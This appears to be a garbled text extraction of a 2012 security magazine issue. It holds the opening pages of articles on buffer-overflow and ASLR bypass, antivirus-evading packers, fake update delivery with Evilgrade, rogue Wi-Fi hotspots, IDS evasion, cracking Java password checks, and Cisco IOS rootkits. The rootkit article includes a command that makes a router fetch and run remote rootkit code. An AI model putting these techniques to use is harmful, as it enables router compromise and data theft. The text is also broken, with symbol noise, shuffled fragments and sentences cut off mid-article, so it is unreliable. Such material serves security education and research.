The GPRs registers are defined as: EAX, EBX, ECX, EDX, ESI, EDI, EBP, ESP. The E letter was introduced in the change from 16 to 32 bits. The EAX register is shown in the Figure 1. Two special registers are the Base Pointer (EBP) and the Stack Pointer (ESP). They are commonly adopted

���

��

When the executable is loaded, the OS organizes the allocated memory in three areas: •

68

Text: read only area that contains the program’s code and other read only information. It corresponds to the COFF’s text section.

��

��

Figure 1. Structure of EAX register

01/2012

BUFFER OVERFLOW

Smashing the Stack 2 Modern operating systems come with sophisticated protection mechanisms to prevent “one-click” exploitations. But, how can attackers bypass such techniques to compromise remote machines all over the world? And downloading PDF documents is always a safe practice?

W

elcome to this follow-up on our previous article on the exploitation of software vulnerabilities, which we published on Hakin9 ES #1 [0]. This article is made of two chapters: In the first one we describe the different protection mechanisms that have been introduced in modern operating system to make exploitation more difficult. We then present several popular workarounds used by attacker to bypass such techniques. Finally, for the joy of our readers, we analyze a real exploit for a Acrobat Reader’s stackbased buffer overflow (CVE-2010-2883).

Protection Mechanisms Against Buffer Overflow

In this chapter we present the protection mechanisms introduced in Windows 7 and the Visual Studio 2008 suite to enhance the security of their users by preventing one-click easy exploitations. At a first glimpse, we can divide these mechanisms in three classes of categories: • • •

Compiler-based: the /GS flag Linker-based: the /SafeSEH flag, ASLR and DEP Runtime checks

Buffer Security Check – /GS

epilogue. Firstly a random value, called cookie or canary, is stored on the stack, and a sort of variable reordering is done. Once the program is launched, the cookie is saved in the .data section, then, if necessary, during the procedure prologue is moved on the stack between the local variables and the ret address (the value we are going to protect). In a generic situation the stack appears like in Figure 1. Figure 2 shows how to enable/disable this flag on Visual Studio 2008. This is the new prologue using the /GS flag: vuln!main:

00411260 55 push ebp

00411261 8bec mov ebp,esp

00411263 83ec4c sub esp,4Ch

00411266 a100604100 mov EAX,dword ptr [vuln!__security_ cookie (00416000)]

0041126b 33c5 xor EAX,ebp

0041126d 8945fc mov dword ptr [ebp-4], EAX

As someone can see, the value of the cookie is stored in the EAX register, xored with the base pointer and put on the stack.

We start by analyzing the /GS flag provided by the Visual Studio C/C++ compiler. This option tries to prevent stack-based buffer overflow at runtime by adding specific code to the procedure’s prologue and

����

����

����

����

Figure 1. /GS stack situation

80

������

���

���

Figure 2. /GS on Visual Studio 2008

01/2012

BUFFER OVERFLOW

Exploit a Software with Buffer Overflow Vulnerability and Bypassing Aslr Protection In this article you will find out what the Buffer overflow vulnerability is, and how you can scan any software for this kind of vulnerability.

Y

ou will also learn how to write your own exploitation with python programming language and bypassing ASLR protection and finally, how to run your own shellcode to control Vulnerable OS.

What is Buffer overflow

Buffer overflow is an anomaly where a program while writing data to a buffer overruns the buffer’s boundary and overwrites adjacent memory. This is a special case of violation of memory safety. For example: if you have a 2 liter bottle and you tried to fill it with 2.5 liters of water, of course the water will overrun the bottle boundary and 0.5 liter will fall down. Buffer overflow vulnerability is the most dangerous vulnerability in the software world because it could allow for an exploitation for OS which include this vulnerable software. You can have a look at Buffer overflow top threats, http:// www.isssource.com/attack-vector-buffer-overflows-topthreat/. If we looked at buffer overflow in technical view: A buffer overflow occurs when data written to a buffer, due to insufficient bound checking corrupts data values in memory addresses adjacent to the allocated buffer.

For example

Here – a program has defined two data items which are adjacent in memory; an 8-byte long string buffer, A, and a two-byte integer, B. Initially, A contains nothing but zero bytes, and B contains the number 1979; characters that are one-byte wide (Figure 1). Now, the program attempts to store the nullterminated string “excessive” in the A buffer. By failing to check the length of the string, it overwrites the value of B (Figure 2). Although the programmer did not intend to change B at all, B’s value has now been replaced by a number formed from part of the character string. In this example, on a big-endian system that uses ASCII, “e” followed by a zero byte would become the number 25856. If B was the only other variable data item defined by the program, writing an even longer string that went past the end of B could cause an error such as a segmentation fault, terminating the process.

And what about ASLR protection?

ASLR refers to address space layout randomization. For example, if you have an instruction like “Call ESP from kernel32.dll“ and this instruction offset location is in 0000001, after rebooting your PC this offset will be changed to another number. This means we can’t

Figure 1. Empty registers

Figure 2. registers after �lling it

88

Figure 3. VUPlayer

01/2012

REVERSE ENGINEERING

Reversing EXE with OllyDbg This article is a basic introduction to Reverse Engineering. I have chosen to illustrate the reverse engineering of a sample executable file, and how to patch it. The article focuses primarily on a practical example of reversing.

S

o what is reverse engineering (RE)? Wikipedia says: Reverse engineering is the process of discovering the technological principles of a device, object, or system through analysis of its structure, function, and operation. Normally, source code is compiled to one or more object files which are then linked to form an executable. The source code is in human readable form, object files are binary files with human-readable symbols. Executables are pure binaries. When we attempt to revert a binary executable into its object form, it is called disassembly. Converting an object file into source code is called decompilation. The whole process is called reverse engineering (Figure 1).

Goals of RE:

The main goals of RE may include the following: •

����������

�����������

Figure 1. RE Process

98

•

A little Dive Into Assembly and Registers

Knowledge of assembly is required to perform a successful RE of a program. Although study of assembly and instruction sets is a separate topic in

���������

������������� �����������

�������������� �������������

�����������

�������������� �����������

��������� ���

���������������� ���������������� ����������������

����������������

����������

•

������������

Security/Vulnerability Research: The most common aim of doing RE is the discovery of potential flaws in the source code such as buffer overflows or any weak business logics implemented, for example client side validations, weak/homemade

•

encryptions schemes etc. These can be highlighted and may ultimately determine how how secure or insecure the software is. Malware research: Understanding behavior and property of malware is very necessary in order to develop a mitigation plan ... how they behave, how they propagate, what flaws they exploit, etc. Writing drivers: Sometimes writing a driver for your hardware requires reverse engineering in order to gain a deep understanding of its operation Patch Analysis: Before applying patches they can be reverse engineered to take deep dive into their inner functionalities.

�������

��������� ��������������

���

�����������

�������

�����������

��������

�����������

��������

Figure 2. Stack

01/2012

REVERSE ENGINEERING

A Quick „Hands On” Introduction to Packing

On Windows systems, programs are usually available in the PE file format with the .EXE extension. Although this file format is quite complex, it is now well documented, so understanding how it is globally supposed to work is pretty easy and you can find a lot of programs designed to open/analyze/modify PE executables.

T

hose which are designed to modify PE files (for various purposes) are often called packers. We’ll learn how to write one of those in this article. We’ll start by taking a glance at PE file format’s basis; then we’ll design the principle of a small packer able to modify our pentest tools in such a way that they are less detected by AVs; and finally we’ll implement it in Python using both the good old “pefile” module and the brand new miasm reverse-engineering framework.

miasm

The tools

Overview

pe�le

The pefile module is a multi-platform Python module used to read and work with Portable Executable (aka PE) files. It can be downloaded here: http:// code.google.com/p/pefile/. We’ll use this specialized module throughout the article; it is very efficient when dealing with PE files. The drawback of being specialized is that some steps of writing our packer can’t be done with pefile alone.

miasm is a free and open source (GPLv2) reverse engineering framework for python that can be downloaded here: http://code.google.com/p/smiasm/. Being a reverse-engineering framework, it is much more versatile than pefile, but it is also much younger and still a bit unstable. Despite its youth we’ll see that it is sufficient to build a complete tiny packer.

PE format In their simplest form PE files can be represented as a collection of sections and a bunch of metadata. Sections are blobs that are mapped in memory when the program starts. These blobs can contain anything useful to the program: such as the program code itself, constant values, icons, etc. The metadata (mostly located in the PE file headers) contains a lot of information; at the very least the metadata defines where the sections are located in the file, what their name is, where they are supposed to be mapped to in memory, and where the starting point of the program is in memory, once the sections are mapped. Listing 1. pe�le’s basis >>> import pefile #loading the pefile module

>>> pe = pefile.PE("calc.exe") #we open the wellknown ‘calc.exe’ program

>>> for s in pe.sections: ...

...

print s.Name

.text .data

Figure 1. Overview of a PE �le’s structure

102

.rsrc

01/2012

REVERSE ENGINEERING

Hacking Applets: A Reverse Engineering Approach In this article we’ll discuss a technique that can be used to modify the applet’s Java byte code without having to recompile the applet. This is useful when the source code of the applet is not recoverable because it is obfuscated using tools such as DotFuscator.

Y • •

ou are going to learn the reverse engineering and patching of Java based applications. We’ll use a common deployment scenario where:

reverse engineering applications; this array holds the class byte code.

The applets are signed The applets run in the context of Internet Explorer, using proxy settings imported from the browser settings.

This is a variable length structure, this is used to hold the code of the methods defined in the class/interface, max number of local variables, max stack size, and an exception table which indicates the extent and nesting of try blocks and corresponding catch blocks. This also holds some other important attributes, called LineNumberTable and LocalVariableTable, these attributes hold information that is used by debuggers to locate local variables and match the byte code with the respective line number in the original source code.

A brief about Java class file format

The Figure 1 shows the basic layout of a Java class file. Now we’ll take a look at some of the important members, which will be useful as we move ahead:

Code Attribute:

Constant Pool

The Java virtual machine relies on symbolic reference of classes to get the runtime layout, the byte code refers to these symbolic references, and these references are placed in the constant pool. Each constant pool entry has the following format: cp_info {

u1 tag;

}

u1 info[];

Fields Array

This gives the complete description of all the fields in the class/interface.

Method Array

The method array is another important structure that we need to be aware of before Figure 1. Java class �le format

110

01/2012

���������

��������������

������������������ �������������������� ������������� ������������

������������ �������

� � � � � � � � �

�� ����������������� ���� ������������������������������������ ������ ����������������� �������� ���������

���������������������� ���������������������

� ���������������� �� ��������������������� ����������������������������� ������������

EXPLOITING CLIENT SOFTWARE

Hijacking Software Updates with Evilgrade On a daily basis, software and applications are connecting to remote servers looking for updates. Almost every modern application comes with a simple, built-in update mechanism. Usually it is sensible for users to accept updates that improve the security and operation of the program.

B

y default, operating system and applications are configured to automatically check for updates for themselves, and notify users when they are available. When prompted, one simply clicks OK and the newest version will be downloaded and installed on your computer. This is very elegant feature but it encourages users to accept updates without verifying the source, reading the change log or license agreement. Doing so would be tedious considering the plethora of security programs, productivity suites, communications software and multimedia applications we have on our computers. Attacking users via update systems is not new. Software developers do not spend much time or effort on updates and secure delivery mechanisms. That’s why standard processes for updating applications make many users vulnerable The process is as follows: • • • • • •

Application by initiates update process Application will connect to the DNS server host for example update.app1.com DNS server replies with server IP (for example 200.1.1.1). Application downloads a special file with information about the update, for example lastupdate.xml from update.app1.com Application analyzes the update file and detects new updates Finally App1 downloads and execute the update: http://update.app1.com/update.exe

These are the standard steps used by most software applications to install patches. You will notice that there are few security measures like authentication on the server level, checking the digital signature of the update or other elementary operations for

116

securing the upgrade process. A lot of applications do not verify the update’s contents and blindly trust the master update server. This does nothing to prevent an attacker pretending to be the update server and submit an application file to run on the system. This can be achieved using the standard man in the middle attack, DNS cache poisoning and Evilgrade, an advanced utility for delivering fake updates that can contain malicious content for a ready module. Evilgrade is modular framework that allows attackers to take advantage of poor update implementations by injecting fake updates. It was developed in Perl and includes ready-made modules. While the framework is written in Perl, you can run it on any platform. I used it on Backtrack 5. You can also install it on Windows operating systems by adding Active Perl.

Evilgrade Module Development

Evilgrade’s most important functionality is the Module framework that we can use for attacking software updates. These modules are very simple to create. So if you are looking to add a new module for attacking new software, you can add a Perl module package and integrate it in the module folder for later use. Here is a module for Sun Java updates. You can change the value according to your desired application: see Listing 1.

Evilgrade on BackTrack 5:

First you need to download Evilgrade from the official website (http://www.infobytesec.com/) If you have difficulties in finding the software packages you can use the Google code mirror (http://code.google.com/p/isrevilgrade/). Next you need to extract the software and run it as follows (Linux):

01/2012

EXPLOITING CLIENT SOFTWARE

Direct Object Reference or, How a Toddler Can Hack Your Web Application There is no point in denying that everyday software is steadily moving from desktop applications to Web applications. When you can check your mail, play games, create documents and file your tax report without ever leaving your browser, then you are indeed a citizen of the Web.

I

n this era, many miscreants have changed their game. It’s easier for them to impersonate you or steal your private data from a vulnerable Web application than to take control of the Extended Instruction Pointer (EIP) register of your CPU. The reason is simple. As a software industry, we have more experience writing native applications in C and C++ than writing Web applications in PHP and JavaScript. People still write bugs in their code, but they are definitely harder to find and exploit than it was 10 years ago. In this article we will investigate one type of Web application vulnerability, namely Direct Object Reference. A Direct Object Reference occurs when an identifier, used in the internal implementation of a Web application, is exposed to users. When this is done insecurely, it can lead to a lot of trouble. This vulnerability is probably one of the easiest to exploit but is so deadly and prevalent that it claims the 4th position in OWASP’s Top 10 Web Application security risks [2]. Many institutions have fallen victim to it, with the most recent example of an Australian financial company which was vulnerable in a way that made it possible for anyone to access other peoples’ private financial information [1].

Vulnerable Web Application

In order to make explaining easier, we will use as an example a dummy Web application that allows loggedin users to send personal messages to each other. All the messages exchanged between members are stored in a specific table in an SQL database as follows: see Table 1. The message_id column contains auto-incremented values, unique for every message. The columns to and from contain the user identifiers of the sender and recipient of any given message. The title column

122

contains the title of each message and lastly the message column contains the actual message exchanged between two users. Now lets look at some of the PHP functions used by the Web application to display a user’s Inbox and allow him to read incoming messages (Listing 1).

Viewing the INBOX

The function get_message_titles() is responsible for providing logged-in users an overview of their Inboxes. The first thing that the function does is to check whether the user is logged-in. It does this by checking whether the superglobal $_SESSION array contains a key titled user_id. This key is set by the Web application when the user successfully logs in, and is typically a unique identifier in the Users table of the application much like the unique identifier of each message in the Messages table. We will not need that function in our discussion thus for the sake of brevity, it is not shown in Listing 1. If that key is not set, then the code redirects the user to the login page of the Web application and returns. If the user is indeed logged-in then the user’s user_id is extracted from his session. Note that the Figure 1. Table “messages” containing personal messages that users exchanged with each other

Message_id From To

Title

Message

...

...

...

...

...

776

23

11

“Hey!”

“Hey man! What news?

777

11

25

“Foo...”

“U there?”

778

25

42

“No Title”

“Kthnxbye!”

779

23

11

“Welcome” “Welcome to our site!...”

...

...

...

...

01/2012

EXPLOITING CLIENT SOFTWARE

How to Recover Passwords from a Memory Dump Were you ever curious about what could be done with a memory dump of an active computer? This article is a short demonstration on how to acquire a memory dump from a running system, and then how to use tools to not only recover the system password hashes from the memory dump, but also how to decode them.

M

alware analysis is an amazing field. To be able to grab a memory dump from a live machine and then have the capabilities to pull useful information from it just amazes me. Malware analysis tools are used by several different types of professionals for different purposes. Professional and volunteer malware analysis experts use these programs to dissect memory and learn about the latest malware infections. Law enforcement personnel use memory dumps and analysis programs in criminal investigations to gather evidence for court cases. Even penetration testers use these tools to gather information about the systems and target network that they are auditing. The evolution of securing a machine with increasingly complicated system passwords is also very interesting. I have been in the IT field for two decades. And over the years I have seen the IT field move from the ideals that any password will do, to insisting that only long alpha numeric strings including upper and lower case letters and symbols will suffice. You can do some pretty interesting things with memory dumps. If you want to see exactly what was running on a system, you can do that. If you want to see what network connections were active and to what outside networks the system was attached too, you can do that too. Malware analysis programs will even go through a memory dump and find questionable artifacts, hidden and injected code installed by malicious software. But what other items of interest are lurking in the depths of system memory? Can we find pertinent system settings, and even pull information from them? The answer is yes! A copy of registry information is stored in system memory, and we can locate it with

128

malware analysis tools and pull key data from it. But that is not all; a copy of the Windows passwords is kept in memory. And not just for the current logged in user, but a collection of the passwords for ALL of the system’s users. The passwords are not stored in plain text in memory. They are stored as password hashes. Hashes are an encrypted form of the passwords and they are in a format that looks like this: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59 d7e0c089c0

The password hash actually contains two separate hashes of the same password. The hash to the left of the colon is the LM Hash, or Lan Manager hash. A very simple encoding of the password that is compatible with old versions of Windows. The numbers to the right of the colon are a more complex encoding of the password called the NTLM hash. The LM Hash is a very antiquated password hash that was used in pre-Windows NT systems. Basically how it works is that the password is padded to fourteen characters in length if is not already that long. The password is then converted to all uppercase letters and it is divided into two seven byte sections. The two halves are then used to DES encrypt a constant string. This results in two values that are combined to create the LM Hash. This hash has been cracked a long time ago, but it is still computed and stored in Microsoft’s current operating systems. NTLM, another old hashing technique, is a bit better. If you have a fourteen character password, it would allow all fourteen characters to store the hash. The password is not broken into two halves. It also allows upper and lower case letters, instead of converting them all to

01/2012

www.webauthority.eu

Co-funding support provided by European Union from European Regional Development Fund

EXPLOITING CLIENT SOFTWARE

Creating a Fake Wi-Fi Hotspot to Capture Connected Users Information We can use a standard laptop to create a fake open wireless access point that allows us to capture a large amount of information about connected users; in certain environments, such as airports or meeting areas, this kind of operation can represent an enormous security threat but, on the other hand, the same approach is a powerful way to check the wireless activity in certain areas where the security is very important.

E

very day an enormous number of users try to connect their devices (laptops, tablets, smartphones, etc.) to one or more Wi-Fi wireless Hotspots in order to use internet: many of these people connect to wireless networks without considering whether the Hotspot used is fake or built ‘ad hoc’ mode to conduct illegal or fraudulent operations (capturing personal data, fraud, identity theft, etc.). With a little effort, anyone can create a fake Wi-Fi Hotspot and use it to gather precious information about connected users, information such as usernames, passwords, messages and so on. Using a standard computer (Figure 1) and some open-source software, an attacker can set up bogus Wi-Fi gateways where many laptops, smartphones and other latest generation mobile devices will automatically connect: and once a connection is established, all data passing through the Wi-Fi gateway can be read directly (not encrypted data) or after a short/long processing period(encrypted data). A collateral aspect associated with this kind of risk is the possibility for an attacker to simulate a standard Wi-Fi Hotspot where users have to pay to obtain the internet access: in this case users are invited to pay through their credit card; when the attacker has this information the consequences should be crystal clear. The weakest element of the Wi-Fi Hotspot system is the absence of a strong identification mechanism, because the only form of identification used is a name, typically the Hotspot name. For this reason it is very simple to create a bogus Hotspot and deceive a large number of users. It is a worthy goal to create a system able to solve or reduce this kind of problem: a trustworthy authentication service based on a detailed identification

134

between devices and Hotspots. However, the main problem remains, because there is not a way for users to distinguish fake hotspots.

Everywhere

An attacker can use his properly con�gured laptop in a large number of public places, even in an airplane, simulating the Wi-Fi gateway used by airline and capturing personal data of connected passengers.

Build up the system

In order to build our system we only need a standard laptop with two network adapters: two wireless adapters

Figure 1. Fake Wi-Fi Hotspot operating scheme

01/2012

EXPLOITING CLIENT SOFTWARE

Deceiving Networks Defenses with Nmap Camouflaged Scanning An attacker could deceive an IDS/IPS system through a particular feature offered by Nmap software, a simple option able to trick the rules generally used in this kind of systems to detect any suspect activity inside a medium/large network; the used software is the most famous network scanner in the world and the knowledge of its potentiality is a good way to improve our security policies.

T

142

oday we can find a very large number of tools devoted to the exploration of the remote networks but in spite of this, the sector operators (network and system administrators, attackers, etc.) all converge toward a specific software: Nmap, a powerful tool universally considered the better of this category. At the same time we can observe that nearly all medium/large sized networks use systems such as the IDS (Intrusion Detection System) and the IPS (Intrusion Prevention System) in order to detect and alert this kind of activity. In a short, an IDS system works in passive mode, watching the network traffic and comparing its packets with a certain number of configured rules and activating an alarm when it detects something suspicious: in

Figure 1 we can see a typical IDS system placement inside a network. An IDS is able to detect several types of malicious traffic, a traffic that is usually not blocked by a firewall system (attacks against host services, unauthorized login attempts, viruses, etc.). It uses various methods to detect threats and these methods are mainly based on the ‘stateful protocol analysis’ and ‘signatures/anomalies detection’. An IPS system operates as a IDS, but differently from this one, it can also block malicious traffic and just for this reason it is placed ‘in-line’ between the external and the internal networks exposed to attacks. The IPS can block the attacks by terminating the network connection, blocking the user who is making

Figure 1. A typical IDS system placement

Figure 2. A typical IDS system placement

01/2012

EXPLOITING CLIENT SOFTWARE

Overriding Function Calls in Linux Function hooking and overriding plays a vital role in penetration test of thick client application. In this article we will discuss how shared libraries in Linux environment can be overridden with out recompiling the code. By overriding the function calls we can sniff the communication protocol, modify the communication parameters and fuzz the communication protocol.

P

en-testing a thick client Linux application involves reverse engineering. Reverse engineering is multi step process in which assessor has to inject malicious code, decompile, disassemble, and debug the application to understand the internals of application. Now-a-days applications are more complex and utilize shared libraries for code reusability. If an assessor can sniff the communication between different modules of an application, it will provide him insight details of how these modules communicate. By leveraging this knowledge an assessor can eventually fuzz the communication protocol to uncover vulnerabilities. Shared library calls can be overridden/hooked easily by using function interposition technique.

Background

In Linux system generally there are two types of libraries. Static libraries (.a) file and Dynamic libraries (.so) file. When a program is compiled with dynamic libraries, list of un-resolved symbols and list of libraries that program is linked-to are included in the binary file.

Upon execution the un-resolved symbols are resolved at run-time by linked libraries. The linked library that responds first will receive the call. In above illustration the binary file has an un-resolved symbol for function foo. Lib A has the implementation of function foo and if libA responds first at run-time to resolve this symbol, it will receive the call.

Hacking WGET

Let’s consider an example application wget. Wget is a console-based web downloader, which can interact with HTTPS in addition to HTTP web sites. For SSL/ HTTPS communication wget relies on OpenSSL library. OpenSSL is open source implementation of SSL/TLS and allow applications to interact easily with SSL/TLS based web sites. We can download https web sites using wget as shown Listing 1. By executing the above command the output should be as follows: Figure 2. You can see from Figure 2 that wget is able to download index.html from https://mail.yahoo.com. Lets assume that we want to figure out the http request headers generated by wget. The first step to achieve this task would be to figure out the shared libraries used by wget. We can use ldd utlility as follows: Figure 3. By using ldd we can observe that wget is using libssl.so.0.9.8, which is OpenSSL library to communicate over HTTPS channel. Listing 1. Wget command wget https://mail.yahoo.com --no-check-certificate

Figure 1. Illustration of symbols resolution at run-time

150

01/2012

EXPLOITING CLIENT SOFTWARE

Cracking Java applications using AOP exploits (part 1)

In this series of articles we will outline an idea on how to gain access into protected Java desktop applications (J2SE) exploiting properties of Java platform that enable Aspect Oriented Programming (AOP), like weaving code into existing classes.

W

e will learn the basics of AOP and a simple, yet powerful idea behind the exploit. We will also learn how to harden your Java applications against such simple but powerful attacks. The author assumes intermediate knowledge of Java and the paradigms underlining Java technology stack.

Introduction

Aspect Oriented Programming is a paradigm that aims to modularise software further by the separation of crosscutting concerns. You will find much better definition and explanation within literature (Jacobson, I., Pan-Wey, Ng, (2004) Aspect-Oriented Software Development with Use Cases, 1st Edition, Addison Wesley.) or among online resources (Wikipedia, Aspect-oriented programming, Available: http://en.wikipedia.org/wiki/Aspect-oriented_ programming [18 Sept 2011]), however we would like to focus on practical implications of AOP. Let us see, what those crosscutting concerns of software are. Imagine that your codebase takes advantage of Object Oriented Programming paradigms like modularity, encapsulation, and data abstraction. Now in our imaginary scenario, new requirement comes into light. We need to measure the execution time of each method, in order to find the bottlenecks within the system. Sounds like a programmer’s nightmare. The worst-case scenario (and the worst solution) would be to alter every method of every class by adding logic to measure the execution time. It would cause code entanglement and would compromise modularity and encapsulation. By the instrumentation of our code with the time measuring aspect, we can achieve our goal without manually changing every method of every class. We simply use AOP to apply the same time measuring advice by wrapping it around each method. The

156

following aspect definition traps calls to every method of every class (*.*) and measures their execution time. aspect TimeAspect { define Number t;

define Pointcut *.* p(..);

before: p { t = getSystemTime(); }

after: p { output(“Method:“ + thispointcut + “ finished }

in” +

(getSystemTime() – t) ); }

The above pseudo-code has few keywords highlighted in green that will give us dictionary used henceforth: •

•

Pointcut: is where the aspect is applied. In this case it is every method of every class indicated by wildcards (*.*) having any number of parameters of any type indicated by two dots (..) before, after, around (types of advice): determines whether the advice will be applied as the name suggests: before, after or around each call to a method that matches pointcut’s criteria.

Figure 1. Crosscutting concerns in software

01/2012

EXPLOITING CLIENT SOFTWARE

Cracking Java Applications using AOP (part 2)

In the first part, we have introduced the concept of Aspect Oriented Programming. Through very simple practical example, we have shown the capability of AOP, its tools and techniques, which could be used to reverse engineer or even to modify the behavior of a code.

I

n the second part of the series, we will present the reader with a bit more advanced use of AOP, which will allow us to reverse engineer obfuscated Java applications. On top of that we will show a trick of password post selection, which we use to find parts of the code crucial to password processing, which in turn will allow us to switch the whole password verification off.

Introduction

AOP has been used in the domain of Software Security before. Its use was mainly for validation, auditing and authorization purposes, which in turn improve software security as a whole. Those crosscutting concerns are being woven into the existing software after the fully functional code has been delivered. Making the process two staged, allows separating the responsibilities. Programmers implement the business logic, while security professionals implement antidotes to known software vulnerabilities. AOP involvement in improving of software security goes further, as it also facilitates clear definition of security concerns as one-time security policy implementations, rather than security code scattered and tangled across the whole of the codebase. Making the actual implementation of security smaller, means that it is understood better, it is more transparent and less open for implementation errors. We have not found many resources, where AOP was used to reverse engineer or to compromise applications. We have certainly not seen the method of security key post-selection, which we present in this article, which guides to find the data path in the software that the crucial security information, like license key or password, takes. This fact alone does not mean that such work has not been done before, so if the reader

160

knows of any similar work, the author would be grateful for contacting him about it. Also if you could see a way to improve the presented method or any of the techniques, the author would also appreciate any pointers in the direction of improvement. In the first part of the series (http://hakin9.org/ exploiting-software-12011/), we have introduced the basic concepts and notions used in AOP. We have also guided the reader through an example that solidified all the theory presented there. In the second part we will continue with the theme of reverse engineering and modifying software as a post-production process. The post-production software modification aspect is very important from a security point of view. The ability to find the details of inner workings of an application is a very powerful tool for many Software Security professionals. The ability to dynamically modify the behavior of the code (postproduction) is even more powerful tool still. And postproduction in reality means: without an access to the source code. Whether through your work or hobby, you wear black or white hat, we hope you will find the article informative and educational. Although the author is a Java programmer by trade, you don’t have to be one in order to successfully follow the methods, techniques and findings. Please keep in mind that AOP as a technology is implemented in most modern programming languages and transplanting our findings to your favorite technology stack should be a matter of mere syntax. It is also author’s intention to improve the security and art of secure software delivery through educating, rather than to cause mayhem among software industry. As in part 1, we will use Eclipse + AspectJ Development Tool.

01/2012

EXPLOITING CLIENT SOFTWARE

Cisco IOS rootkits and malware: A practical guide

Cisco IOS is the predominant OS for networking devices on the internet. Cisco IOS has evolved an advanced feature set in the CLI and flexible scripting abilities that provide the network administrator with onboard real-time network event detection, automated network recovery functions, and other valuable capabilities.

T

hese features, however, may also be used to exploit critical network devices, network traffic traversing these devices and act as a launch point for further attacks into a network. This presentation discusses the use of and demonstrates an IOS Embedded Event Manager rootkit and worm. When a router is infected it can be leveraged into a powerful malware platform. Capabilities demonstrated will be network packet captures, reverse shell connections, a spam module, and a mini malware httpd server leveraged with ip address hijacking. A self replicating IOS worm with stealth features and self defense mechanisms are also demonstrated, all with platform independent code. Cisco IOS currently has few rootkits and worms. Previous rootkits use binary patching of the firmware to insert a trampoline for rootkit code (1). This technique has a limitation in that the firmware must be manually patched. Furthermore, the patching requires distinct changes for different versions of firmware and cpu architectures. Cisco IOS has a powerful scripting and event management toolkit Embedded Event Manager (EEM) which has a number of incarnations. The rootkit and worm are written in EEM TCLSH and are accompanied by non-EEM tclsh modules and supporting files. Cisco IOS has a few variations of tclsh in current versions of IOS. The first and easiest variant is the cli tclsh interpreter. To get into the interpreter from enable mode, simply enter router#tclsh and your prompt will change, dropping you into the tclsh interpreter. At this point you can type a combination of tclsh and IOS commands that will execute in real-time. Commands that require a brace/bracket closing will of course wait until the closing brace. This command mode is a good

166

way to test out code fragments and to proof of concept small subroutines. An example would be to ping multiple hosts, Listing 1. The notable feature here is that if you type a command that is not a tclsh keyword or a defined procedure, the command is assumed to be a Cisco IOS command to be executed from the privilege level of the user. A feature of the tclsh cli command is the file execute mode. In this mode you have the ability to specify a file to execute with the tclsh interpreter. There is support for direct manipulation of the configuration with the ios_config command. With the ios_config command in a tclsh script you can easily make configuration changes without having to go into a configuration mode. While the file could be located on the flash/disk, the interpreter does understand a remote execution. Remote execution is most helpful in that it forms the basis for the initial payload drop into the router and the remote code execution from the callback server. Here is a brief example in Listing 2. This command will execute tclsh code from the remote file rootme which is located on the web-server on 192.168.1.100. The code for rootme is contained in Listing 3. Listing 1. Tclsh cli ping router1# tclsh

tclsh% foreach x {12 22 23} { ping 192.168.1.$x }

Listing 2. Tclsh remote execution router1# tclsh http://192.168.1.100/rootme

01/2012

DEFENSE

Easy Network Security Monitoring with Security Onion Intrusion Detection Systems monitor and analyze your network traffic for malicious threats. The problem is that they can be very difficult to configure and time consuming to install. Some take hours, days or even weeks to setup properly. The Security Onion IDS and Network Security Monitoring system changes all of that. Do you have 10 minutes? That is about how long it takes to setup and configure Security Onion.

H

ackers and the malware that they create are Snort, Suricata, Sguil, Squert, Snorby, Xplico, Argus, getting much better at evading anti-virus Bro, Wireshark, and many others. programs and firewalls. So how do you detect Sounds complicated right? or even defend against these advanced threats? Well, Doug has done all the hard work in integrating Intrusion Detection Systems (IDS) were created to these systems together into a very user friendly help detect the malicious activity that our networks are environment (see Figure 1). facing. The only problem is, they tend to throw a lot of Run Security Onion on a system that has two network false positive alerts and can get very overwhelming to cards and you have a complete NSM/IDS system. One monitor. NIC connects to your network or the internet side of Enter Network Security Monitoring (NSM). In your traffic and records and monitors every packet that basic terms, NSM software examines the alerts comes in or goes out of your system. The second NIC from IDS systems, events and full packet data, and connects to your LAN and is used for management and then prioritizes these threats and present them in a system updates. graphical interface to be reviewed by an analyst. The analyst can then choose whether the alert needs to be acted on or if it can be dismissed. There are several commercial products out there that do this, but the free products from the open source community are very feature rich and capable. If you want a robust, cost effective and easy to use Intrusion Detection System (IDS) and Network Security Monitoring (NSM) platform, look no further than Doug Burks’ Security Onion (http://securityonion.b logspot.com/). Security Onion is one of my favorite security tools. Doug Burks did an amazing job pulling together many of the top open source IDS and NSM programs into a user friendly Linux distribution. It’s based on Ubuntu and contains a ton of utilities including Figure 1. Security Onion Desktop

180

01/2012

SeagateDataRecovery.com

Bad things can happen to your laptop. They don’t have to happen to your data. Seagate Data Recovery Services work on any disk drive. ������������������������������������������������������������������������������� ��������������������������������������������������������������������������������� With our No Data–No Recovery Charge Guarantee, our skilled professional data recovery technicians use cutting-edge technology to retrieve your data. And for your peace of mind, we also recover data from server applications and virtual technologies. Learn more at www.seagatedatarecovery.com.

© 2012 Seagate Technology LLC. All rights reserved. Seagate, Seagate Technology and the Wave logo are registered trademarks of Seagate Technology LLC ���������������������������������������������������������������������������������������������������������������������������������������

DEFENSE

Inspecting Https Traffic On Gateways In the past, security devices inspecting application content for attack patterns, misuse or malware, had been blind to encrypted traffic and because of this, encrypted protocols such as Hypertext Transfer Protocol Secure (HTTPS) have been a safe method used by attackers to bypass security inspection.

T

hough reverse proxies and Web Server modules have been there for long, they only inspect incoming traffic e.g. connections made to protected web servers in the organization. Inspecting outgoing traffic or traffic of connections made by users to outside world servers not protected by the device, had been on the wish lists. These days, devices come with the capability to inspect Secure Sockets Layer (SSL) based outgoing traffic, however there are some concerns by enabling such kind of inspection. In this article we cover some basics of SSL, the challenges in inspecting SSL traffic, and also see how Check Point’s HTTPS Inspection feature is able to inspect HTTPS traffic at the gateway. After reading this article you will know the pros and cons of enabling SSL inspection on a gateway.

Secure Sockets Layer (SSL) Basics

Protocols such as HTTP, SMTP, POP3 are plaintext i.e. data carried by these protocols can be read by anyone who is able to intercept the traffic while in transit. Since these protocols are widely used over the Internet, there is a need to secure them in order to protect users’ data. By protection of data we are looking at confidentiality, integrity and authentication.

����

���

����

